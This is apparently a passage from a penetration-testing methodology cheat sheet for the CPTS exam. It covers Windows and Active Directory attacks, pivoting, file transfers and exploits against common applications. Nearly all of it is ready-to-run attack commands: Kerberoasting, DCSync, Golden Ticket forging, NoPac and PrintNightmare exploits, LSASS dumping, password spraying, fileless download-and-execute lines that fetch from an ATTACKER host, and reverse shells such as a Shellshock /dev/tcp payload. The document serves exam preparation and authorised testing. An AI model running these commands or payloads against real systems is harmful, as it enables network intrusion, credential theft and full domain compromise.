├── Registry AutoRun → Modify autorun keys
├── DnsAdmins Group → dnscmd /config /serverlevelplugindll → restart DNS
├── UAC Bypass → EnableLUA check, SystemPropertiesAdvanced.exe DLL hijack
├── Kernel Exploit → searchsploit windows kernel <version>
│   ├── HiveNightmare (CVE-2021-36934)
│   ├── PrintNightmare (CVE-2021-34527)
│   └── SeriousSam (CVE-2021-36934)
├── VHDX/VMDK on shares → Mount-VHD, extract SAM/SYSTEM/SECURITY offline
└── Third-party services → wmic product, localhost-only services, DLL hijack

Potato Attacks

# JuicyPotato (Server 2016 and below)
JuicyPotato.exe -l <port> -p c:\windows\system32\cmd.exe -a "/c <reverse_shell>" -t *

# PrintSpoofer (Server 2019+)
PrintSpoofer.exe -i -c cmd

# GodPotato (newer Windows)
GodPotato.exe -cmd "cmd /c <reverse_shell>"

Phase 9: Active Directory Attacks

Follow sequentially. After each new foothold, restart from Phase 1 on new host.

Initial Access (No Credentials)

LLMNR/NBT-NS Poisoning

# Passive analysis first
sudo responder -I <interface> -A

# Active poisoning (start in tmux, let run)
sudo responder -I <interface> -wrf

# Crack captured hash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

SMB NULL Session & LDAP Anonymous Bind

# rpcclient
rpcclient -U '' -N <dc_ip>
rpcclient $> enumdomusers

# CrackMapExec (no creds)
netexec smb <dc_ip> --shares
netexec smb <dc_ip> --users
netexec smb <dc_ip> --pass-pol

# LDAP anonymous
ldapsearch -h <dc_ip> -x -b "DC=domain,DC=local" -s sub "(&(objectclass=user))" | grep sAMAccountName

Username Enumeration (Kerbrute)

# User enumeration (doesn't lock accounts, no 4625 events)
kerbrute userenum -d <domain> --dc <dc_ip> /usr/share/seclists/Usernames/jsmith.txt

Password Spraying

# Kerbrute (faster, generates 4768 not 4625)
kerbrute passwordspray -d <domain> --dc <dc_ip> valid_users.txt 'Welcome1'

# CrackMapExec
netexec smb <dc_ip> -u valid_users.txt -p 'Password123' | grep +

# Common passwords to try
# Welcome1, Password1, Password123, Company1!, Summer2024!, Winter2024!

AS-REP Roasting (No Creds Needed)

# Find users with DONT_REQ_PREAUTH
GetNPUsers.py <domain>/ -usersfile usernames.txt -format hashcat -outputfile asrep.hash -dc-ip <dc_ip>

# Crack
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Credentialed Enumeration (Linux)

CrackMapExec / NetExec

# Users (with badpwdcount for targeted spraying)
netexec smb <dc_ip> -u <user> -p '<pass>' --users

# Groups
netexec smb <dc_ip> -u <user> -p '<pass>' --groups

# Shares (check READ/WRITE access)
netexec smb <dc_ip> -u <user> -p '<pass>' --shares

# Logged-on users (find DA sessions!)
netexec smb <target> -u <user> -p '<pass>' --loggedon-users

# Pass-the-Hash
netexec smb <target> -u <user> -H <nt_hash>

BloodHound.py (Linux Collector)

# Run collection (all methods)
sudo bloodhound-python -u '<user>' -p '<pass>' -ns <dc_ip> -d <domain> -c All

# Start neo4j and BloodHound GUI
sudo neo4j start
bloodhound
# Default creds: neo4j / <set password>
# Upload zip → Analysis tab → Run queries

Key BloodHound queries for exam:

- Find Shortest Paths to Domain Admins
- Find Computers where Domain Users are Local Admin
- Find Workstations where Domain Users can RDP
- Find All Domain Trusts

Impacket Toolkit

# psexec.py (needs local admin, drops exe to ADMIN$, gives SYSTEM)
psexec.py <domain>/<user>:'<pass>'@<target>

# wmiexec.py (stealthier, runs as user not SYSTEM, fewer logs)
wmiexec.py <domain>/<user>:'<pass>'@<target>

# Pass-the-Hash with any of these
psexec.py -hashes :<nt_hash> <domain>/<user>@<target>

Credentialed Enumeration (Windows)

PowerView

Import-Module .\PowerView.ps1

# Domain users
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName  # SPN accounts

# Domain groups (recursive membership)
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# ACLs (find interesting rights)
Find-InterestingDomainAcl -ResolveGUIDs

# Find where user has local admin
Find-LocalAdminAccess

# Shares
Find-DomainShare -CheckShareAccess

Living Off the Land

# Domain recon (built-in)
net user /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net accounts /domain

# dsquery
dsquery user
dsquery computer

# PowerShell history (may contain creds!)
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Kerberoasting

From Linux (GetUserSPNs.py)

# List SPN accounts
GetUserSPNs.py -dc-ip <dc_ip> <domain>/<user>

# Request all TGS tickets
GetUserSPNs.py -dc-ip <dc_ip> <domain>/<user> -request

# Target specific user
GetUserSPNs.py -dc-ip <dc_ip> <domain>/<user> -request-user <spn_user> -outputfile tgs_hash

# Crack (etype 23 = RC4)
hashcat -m 13100 tgs_hash /usr/share/wordlists/rockyou.txt

From Windows (Rubeus)

# Stats (see encryption types, password ages)
.\Rubeus.exe kerberoast /stats

# Target admin-count=1 accounts (high value)
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

# All SPN accounts
.\Rubeus.exe kerberoast /nowrap

Encryption Types:

RC4 (type 23) = $krb5tgs$23$* → hashcat -m 13100 → FAST
AES-256 (type 18) = $krb5tgs$18$* → hashcat -m 19700 → SLOW (100x+)

Key insight: Pre-Server 2019 DCs → use /tgtdeleg to force RC4

ACL Abuse

Key ACE Types:

GenericAll      → Full control (reset password, add member, Kerberoast)
GenericWrite    → Write non-protected attrs (set SPN for targeted Kerberoast)
WriteDACL       → Modify ACL (grant self DCSync rights)
WriteOwner      → Change object owner → then WriteDACL
ForceChangePassword → Reset user password without knowing current

ACL Attack Chain Example:

User A (controlled) → ForceChangePassword → User B
User B → GenericWrite → Group C (add self)
Group C → nested in → Group D
Group D → GenericAll → User E
User E → has DCSync rights → Full domain compromise

ForceChangePassword:

$SecPassword = ConvertTo-SecureString '<our_pass>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<our_user>', $SecPassword)
$newpass = ConvertTo-SecureString 'Pwn3d!' -AsPlainText -Force
Set-DomainUserPassword -Identity <target> -AccountPassword $newpass -Credential $Cred -Verbose

DCSync

Prerequisite: Account with Replicating Directory Changes + Replicating Directory Changes All permissions

# Linux (secretsdump.py)
secretsdump.py -outputfile domain_hashes -just-dc <domain>/<user>:'<pass>'@<dc_ip>

# NTLM only
secretsdump.py -outputfile domain_hashes -just-dc-ntlm <domain>/<user>:'<pass>'@<dc_ip>

# With hash
secretsdump.py -hashes :<nt_hash> <domain>/<user>@<dc_ip>

After DCSync:

# Use krbtgt hash for Golden Ticket (persistence)
mimikatz # kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /krbtgt:<krbtgt_hash> /ptt

# Use admin hash for Pass-the-Hash
netexec smb <dc_ip> -u administrator -H <admin_nt_hash>
psexec.py -hashes :<admin_nt_hash> <domain>/administrator@<dc_ip>

Privileged Access & Lateral Movement

RDP Access

xfreerdp /v:<target> /u:<user> /p:'<pass>'
xfreerdp /v:<target> /u:<user> /pth:<nt_hash>  # PtH

WinRM Access

evil-winrm -i <target> -u <user> -p '<pass>'
evil-winrm -i <target> -u <user> -H <nt_hash>

Pass-the-Hash

# CrackMapExec (scan range)
netexec smb <range> --local-auth -u <user> -H <nt_hash> | grep +

# Impacket
psexec.py -hashes :<nt_hash> <domain>/<user>@<target>
wmiexec.py -hashes :<nt_hash> <domain>/<user>@<target>
evil-winrm -i <target> -u <user> -H <nt_hash>

Bleeding Edge / Advanced Attacks

NoPac (SamAccountName Spoofing)

CVE-2021-42278 + CVE-2021-42287. Any domain user → Domain Admin.

# Exploit (SYSTEM shell on DC)
sudo python3 noPac.py <domain>/<user>:<pass> -dc-ip <dc_ip> -dc-host <dc_hostname> -shell --impersonate administrator -use-ldap

PrintNightmare

CVE-2021-34527 / CVE-2021-1675. RCE via Print Spooler service.

# Check if Print Spooler exposed
rpcdump.py @<dc_ip> | egrep 'MS-RPRN|MS-PAR'

# Exploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=8080 -f dll > shell.dll
sudo smbserver.py -smb2support Share /path/to/shell.dll
python3 CVE-2021-1675.py <domain>/<user>:<pass>@<target> '\\<attacker>\Share\shell.dll'

PetitPotam + NTLM Relay to ADCS

# PetitPotam - coerce auth to attacker
python3 PetitPotam.py <attacker_ip> <dc_ip>

# ntlmrelayx to ADCS web enrollment
ntlmrelayx.py -t http://<adcs_host>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Use captured certificate for PKINIT auth
python3 gettgtpkinit.py -cert-pfx <pfx_file> -pfx-pass '' <domain>/<dc_machine_account>$ <dc_machine_account>.ccache

Delegation Abuse

Unconstrained Delegation:
├── Find: Get-ADComputer -Filter {TrustedForDelegation -eq $true}
├── Compromise host → extract TGTs from memory (Rubeus dump)
└── Use TGTs to impersonate users (including DA)

Constrained Delegation:
├── Find: Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne $null}
├── Rubeus s4u /user:svc /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target /ptt
└── getST.py with -impersonate flag

Resource-Based Constrained Delegation (RBCD):
├── Need: Write access to target's msDS-AllowedToActOnBehalfOfOtherIdentity
├── addcomputer.py -computer-name 'FAKE$' -computer-pass 'Pass123'
├── rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -action write
└── getST.py -spn cifs/target -impersonate Administrator DOMAIN/FAKE$:'Pass123'

Domain Trust Attacks

Child → Parent (ExtraSids Attack)

# Get child SID
lookupsid.py <child_domain>/<user>:<pass>@<child_dc> | grep "Domain SID"

# Linux: ticketer.py
ticketer.py -nthash <krbtgt_hash> -domain-sid <child_sid> -extra-sid <parent_sid>-519 -domain <child_domain> hacker
export KRB5CCNAME=hacker.ccache
secretsdump.py -k -no-pass -dc-ip <parent_dc> hacker@<parent_dc_fqdn>

Iterative AD Rules

After EVERY new foothold in AD:

1. Re-enumerate with new creds (BloodHound, CrackMapExec, PowerView)
2. Check where new user has access (local admin, RDP, WinRM, SQL)
3. Dump credentials (SAM, LSASS, DCSync if possible)
4. Re-spray all found creds against all discovered hosts
5. Check for DA sessions on compromised hosts
6. Look for ACL abuse paths from new position
7. Check shares for sensitive data
8. Restart methodology from Phase 1 on new host/subnet

When stuck in AD:

1. Re-check BloodHound output - look for overlooked paths
2. Try ACL abuse (WriteDACL, GenericAll, ForceChangePassword)
3. Check for delegation abuse (constrained, unconstrained, RBCD)
4. Try NoPac or PrintNightmare if unpatched
5. Check GPP passwords in SYSVOL
6. Try Shadow Credentials / PKINIT
7. Check ADCS for certificate abuse (ESC1-ESC8)
8. Look for scheduled tasks running as SYSTEM with writable scripts
9. Check for LAPS password read access
10. Cross-forest trust exploitation

Phase 10: Pivoting & Tunneling

After compromising pivot host, enumerate NICs/routing, then tunnel. Always check for dual-homed hosts (ip a / ipconfig).

Pivot Discovery

# On compromised host - check for additional networks
ip a                    # Linux
ipconfig /all           # Windows

SSH Tunneling

# Local port forward (access remote service via local port)
ssh -L <local_port>:<target_service>:<service_port> user@<pivot>

# Remote port forward (expose local service to remote network)
ssh -R <remote_port>:<local_service>:<local_port> user@<pivot>

# Dynamic (SOCKS proxy)
ssh -D 1080 user@<pivot>

# Usage with proxychains
proxychains nmap -sT -Pn <internal_target>

Chisel

# Server (attacker)
chisel server --reverse --port 8080

# Client (target - reverse SOCKS)
chisel client <attacker>:8080 R:socks

Proxychains

# /etc/proxychains.conf
socks5 127.0.0.1 1080

# Usage
proxychains <command>

Socat Relay

# Basic relay (redirect traffic from local port to target)
socat TCP-LISTEN:<local_port>,fork TCP:<target>:<target_port>

# Reverse shell redirect
socat TCP-LISTEN:<pivot_port>,fork TCP:<attacker>:<attacker_port>

Sshuttle (transparent proxy)

# Route entire subnet through pivot
sshuttle -r user@<pivot> <internal_subnet>

# Now use tools directly (no proxychains wrapper)
nmap -sT -Pn 10.10.10.5

Meterpreter Tunneling

# Auto-route
meterpreter > run autoroute -s 10.10.10.0/24

# SOCKS proxy via Meterpreter
use auxiliary/server/socks_proxy
set SRVPORT 1080
run

# Port forwarding
meterpreter > portfwd add -L <local_port> -p <remote_port> -r <internal_host>

Windows Netsh Port Forwarding

netsh interface portproxy add v4tov4 listenport=<local> listenaddress=0.0.0.0 connectport=<remote> connectaddress=<internal_host>
netsh interface portproxy show all

Phase 10B: File Transfers

Transfer Methods Decision Tree

Can you write to disk on target?
├─ YES → Use wget/curl/certutil/bitsadmin
└─ NO → Fileless: curl URL | bash / IEX DownloadString

What ports are outbound-open?
├─ 80/443 → HTTP(S): python http.server, uploadserver
├─ 445 → SMB: impacket-smbserver
├─ 445 blocked but 80 open → WebDAV (wsgidav)
├─ 21 → FTP: pyftpdlib
├─ 22 → SCP
└─ None → Base64 clipboard, /dev/tcp, RDP mount

Code-based transfers (when wget/curl unavailable):

# PHP download
php -r 'file_put_contents("/tmp/file",file_get_contents("http://ATTACKER/file"));'

# Python download
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://ATTACKER/file","/tmp/file")'

# Bash /dev/tcp (no wget/curl/nc)
exec 3<>/dev/tcp/ATTACKER/80; echo -e "GET /file HTTP/1.0\n\n">&3; cat <&3 > /tmp/file

# Fileless execution (Linux)
curl -s http://ATTACKER/shell.sh | bash

# Fileless execution (Windows)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')

Transferring TO Windows

# PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/file.exe','C:\Windows\Temp\file.exe')"

# certutil (always present)
certutil -urlcache -f http://ATTACKER:8080/file.exe C:\Windows\Temp\file.exe

# bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER:8080/file.exe C:\Windows\Temp\file.exe

# SMB (unauthenticated)
copy \\ATTACKER\share\file.exe C:\Windows\Temp\file.exe

# SMB with authentication (newer Windows blocks guest)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
net use n: \\ATTACKER\share /user:test test
copy n:\file.exe C:\Windows\Temp\file.exe

Transferring TO Linux

# wget/curl
wget http://ATTACKER:8080/file -O /tmp/file
curl http://ATTACKER:8080/file -o /tmp/file

# scp
scp file user@TARGET:/tmp/

# netcat
nc -lvnp 4444 > file  # on receiver
nc ATTACKER 4444 < file  # on sender

# Base64 (small files, no network tools)
cat file | base64 -w 0; echo    # Encode
echo 'BASE64...' | base64 -d > file  # Decode

File Validation

file shell            # Verify file type
md5sum shell          # Verify integrity

Phase 11: Common Applications

Identify CMS/app first, then follow app-specific attack path. Always check default creds before brute-forcing.

CMS Detection Decision Tree

Web App Discovered
├── Fingerprints CMS?
│   ├── /wp-content, /wp-admin → WordPress
│   ├── /administrator → Joomla
│   ├── /node, CHANGELOG.txt → Drupal
│   └── robots.txt reveals structure → check each path
├── Java stack? (port 8080, 8009)
│   ├── /manager/html → Tomcat (WAR upload RCE)
│   └── Jenkins UI → Jenkins (Script Console)
├── .NET stack? (ASPX pages)
│   ├── /Trace.axd, /elmah.axd → Debug/Error info
│   └── DNN (DotNetNuke) → SQL console, file upload
├── PHP stack?
│   ├── phpMyAdmin at /phpmyadmin → DB access
│   └── Laravel/Yii/Symfony → framework-specific vulns
└── Unknown app? → searchsploit, CVE lookup, Wappalyzer

WordPress

wpscan --url http://<target> --enumerate --api-token <token>
wpscan --url http://<target> --enumerate ap  # All plugins
wpscan --url http://<target> --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt

Tomcat

# Default credentials
# tomcat:tomcat, admin:admin, admin:(empty), tomcat:s3cret

# WAR upload RCE (after getting manager access)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=<port> -f war -o shell.war
curl -u tomcat:tomcat --upload-file shell.war "http://<target>:8080/manager/text/deploy?path=/shell&update=true"

Drupal

# Drupalgeddon2 (CVE-2018-7600) - Unauthenticated RCE
use exploit/unix/drupal/drupal_drupageddon2

Jenkins

├─ Default creds: admin:admin
├─ Script Console: /manage → /script
│  └─ RCE: Runtime.getRuntime().exec("cmd /c powershell ...")
└─ Build job: Create job → Build Steps → Execute shell

Shellshock (CVE-2014-6271)

# Check CGI scripts
gobuster dir -u http://<target>/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,cgi,pl

# Exploit via User-Agent
curl -A '() { :; }; echo; /bin/cat /etc/passwd' http://<target>/cgi-bin/status

# Reverse shell
curl -A '() { :; }; /bin/bash -i >& /dev/tcp/<attacker>/<port> 0>&1' http://<target>/cgi-bin/status

Phase 11C: Documentation

During Assessment

  • Timestamp all activities
  • Save all scan output with exact syntax
  • Screenshot all findings
  • Record every credential found
  • Track all systems accessed

Report Structure

Executive Summary
├── Scope and Objectives
├── Key Findings Summary
└── Risk Rating Summary

Technical Findings
├── Finding: [Title]
│   ├── Severity
│   ├── Description
│   ├── Impact
│   ├── Evidence
│   ├── Remediation
│   └── References

Appendices
├── Scope Details
├── Tools Used
├── Raw Scan Data
└── Timeline

Quick Reference: First 5 Minutes

# Full TCP port scan
nmap -sT -p- --min-rate=10000 -oA full_tcp <target>

# Service scan on found ports
nmap -sC -sV -p <ports> -oA services <target>

# Web dir scan (if web found)
gobuster dir -u http://<target> -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

# SMB enum (if 445 open)
smbclient -N -L //<target>
smbmap -H <target>

Quick Reference: Got Creds? Spray Everywhere

netexec smb <range> -u <user> -p '<pass>'
netexec winrm <target> -u <user> -p '<pass>'
netexec mssql <target> -u <user> -p '<pass>'
evil-winrm -i <target> -u <user> -p '<pass>'
ssh <user>@<target>
xfreerdp /v:<target> /u:<user> /p:'<pass>'

Quick Reference: Got Admin? Dump Everything

# Windows local
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

# Windows remote
netexec smb <target> -u <admin> -p '<pass>' --sam --lsa

# LSASS
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <pid> C:\lsass.dmp full

# Domain (if DA)
secretsdump.py <domain>/<admin>:<pass>@<dc_ip>

Iterative Methodology Rules

After EVERY New Foothold

1. Stabilize shell (python3 -c 'import pty;pty.spawn("/bin/bash")')
2. Transfer tools (linpeas, winpeas, etc.)
3. Enumerate host fully (OS, kernel, services, creds, network)
4. Check for additional NICs → new subnets
5. Check for domain membership → AD enumeration
6. Dump all credentials (SAM, LSASS, shadow, bash_history, configs)
7. Search for sensitive files (configs, backups, scripts with creds)
8. Check for other users' sessions → lateral movement targets
9. Re-spray all found creds against all discovered hosts
10. RESTART methodology from Phase 1 on new host/subnet

When Stuck

1. Re-read all scan output carefully — may have missed something
2. Check for non-standard ports (8080, 8443, 9090, etc.)
3. Try all found creds on ALL services (not just where found)
4. Check write access to shares → SCF/LNK file drop → capture hash
5. Try IPv6 attacks (mitm6)
6. Check for LLMNR/NBT-NS poisoning opportunity
7. Review BloodHound output again — look for overlooked paths
8. Try password spraying with season+year patterns
9. Check for GPP/c-password in SYSVOL
10. Look for scheduled tasks running as SYSTEM with writable scripts

Key Decision Points

Got creds?
├─ Spray against ALL services: SMB, WinRM, RDP, MSSQL, SSH, LDAP
├─ Run BloodHound
├─ Kerberoast / AS-REP roast
└─ Check shares for sensitive data

Got admin?
├─ Dump SAM/LSASS/secrets
├─ Find DA sessions
├─ Token impersonation
└─ Lateral move with same creds

Got DA?
├─ DCSync all hashes
├─ Golden/Silver ticket
├─ Trust exploitation
└─ Document everything for report

Wordlists to Use

/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/*-passwords.txt
/usr/share/seclists/Usernames/*-usernames.txt
Custom: CeWL from target website + company name variations
Season passwords: Spring2024!, Summer2024!, Fall2024!, Winter2024!
Company passwords: Companyname1!, Companyname123!, Welcome1

Exam Tips
  • The exam tests methodology, not just tools. Understand WHY each step matters.
  • Document everything as you go — timestamps, commands, output.
  • After each new foothold, restart from Phase 1 on the new host.
  • When stuck, re-read scan output and check BloodHound again.
Common Pitfalls
  • Forgetting to restart methodology after lateral movement
  • Not spraying creds against ALL discovered services
  • Missing non-standard ports in scans
  • Not checking for dual-homed hosts (pivot opportunities)
  • Skipping credential hunting on every compromised host
---

This methodology covers 100% of CPTS exam content. Follow decision trees iteratively. If one path fails, backtrack and try the next. Always enumerate before attacking. Document everything.